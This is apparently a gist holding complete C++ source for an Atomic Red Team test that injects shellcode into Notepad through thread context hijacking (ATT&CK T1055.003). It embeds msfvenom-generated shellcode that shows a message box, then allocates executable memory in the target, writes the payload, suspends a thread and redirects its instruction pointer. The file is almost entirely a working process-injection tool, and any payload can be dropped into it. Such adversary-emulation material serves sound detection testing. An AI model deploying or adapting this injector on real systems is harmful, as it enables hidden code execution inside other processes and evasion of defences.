gistfile1.txt

// Injector for Atomic Red Team leveraging thread context hijacking (T1055.003) to inject shellcode in Notepad.exe.
// Author: [email protected]

#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <string>

// msfvenom -a x64 --platform windows -p windows/x64/messagebox TEXT="Atomic Red Team" -f csharp
unsigned char shellcode[] = {
    0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,
    0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,
    0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0x0f,0xb7,0x4a,
    0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,
    0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,
    0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,
    0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,
    0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,
    0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,
    0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,
    0x40,0x24,0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,
    0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
    0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,
    0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,
    0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,
    0x85,0x0e,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,
    0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x41,0x74,0x6f,0x6d,0x69,
    0x63,0x20,0x52,0x65,0x64,0x20,0x54,0x65,0x61,0x6d,0x00,0x4d,0x65,0x73,0x73,0x61,
    0x67,0x65,0x42,0x6f,0x78,0x00
};

unsigned int shellcode_len = sizeof(shellcode);

DWORD FindProcess(const std::string& procname) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return 0;
    }

    PROCESSENTRY32 pe32{};
    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (!Process32First(hSnapshot, &pe32)) {
        CloseHandle(hSnapshot);
        return 0;
    }

    DWORD pid = 0;
    while (Process32Next(hSnapshot, &pe32)) {
        if (_stricmp(procname.c_str(), pe32.szExeFile) == 0) {
            pid = pe32.th32ProcessID;
            break;
        }
    }
    CloseHandle(hSnapshot);
    return pid;
}

HANDLE FindThread(DWORD pid) {
    THREADENTRY32 thEntry{};
    thEntry.dwSize = sizeof(thEntry);
    HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hThreadSnap == INVALID_HANDLE_VALUE) {
        return nullptr;
    }

    HANDLE hThread = nullptr;
    while (Thread32Next(hThreadSnap, &thEntry)) {
        if (thEntry.th32OwnerProcessID == pid) {
            hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, thEntry.th32ThreadID);
            break;
        }
    }
    CloseHandle(hThreadSnap);
    return hThread;
}

int InjectContext(DWORD pid, HANDLE hProc, unsigned char* shellcode, unsigned int shellcode_len) {
    HANDLE hThread = FindThread(pid);
    if (hThread == nullptr) {
        std::cerr << "Error when hijacking thread.\n";
        return -1;
    }

    // Inject shellcode in target process
    LPVOID lpBase = VirtualAllocEx(hProc, nullptr, shellcode_len, MEM_COMMIT, PAGE_EXECUTE_READ);
    if (lpBase == nullptr) {
        CloseHandle(hThread);
        std::cerr << "Error allocating memory in target process.\n";
        return -1;
    }

    if (!WriteProcessMemory(hProc, lpBase, shellcode, shellcode_len, nullptr)) {
        VirtualFreeEx(hProc, lpBase, 0, MEM_RELEASE);
        CloseHandle(hThread);
        std::cerr << "Error writing shellcode to target process.\n";
        return -1;
    }

    // Hijack thread
    if (SuspendThread(hThread) == (DWORD)-1) {
        VirtualFreeEx(hProc, lpBase, 0, MEM_RELEASE);
        CloseHandle(hThread);
        std::cerr << "Error suspending thread.\n";
        return -1;
    }

    CONTEXT ctx{};
    ctx.ContextFlags = CONTEXT_FULL;
    if (!GetThreadContext(hThread, &ctx)) {
        VirtualFreeEx(hProc, lpBase, 0, MEM_RELEASE);
        CloseHandle(hThread);
        std::cerr << "Error getting thread context.\n";
        return -1;
    }

#ifdef _M_IX86
    ctx.Eip = (DWORD_PTR)lpBase;
#else
    ctx.Rip = (DWORD_PTR)lpBase;
#endif

    if (!SetThreadContext(hThread, &ctx)) {
        VirtualFreeEx(hProc, lpBase, 0, MEM_RELEASE);
        CloseHandle(hThread);
        std::cerr << "Error setting thread context.\n";
        return -1;
    }

    int result = ResumeThread(hThread);
    CloseHandle(hThread);
    return result;
}

int main(int argc, char* argv[]) {
    DWORD pid = FindProcess("notepad.exe");

    if (pid == 0) {
        std::cerr << "Notepad.exe not running. Run Notepad first.\n";
        return 1;
    }

    HANDLE hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, pid);
    if (hProc == nullptr) {
        std::cerr << "Error opening process.\n";
        return 1;
    }

    int result = InjectContext(pid, hProc, shellcode, shellcode_len);
    CloseHandle(hProc);
    return result == -1 ? 1 : 0;
}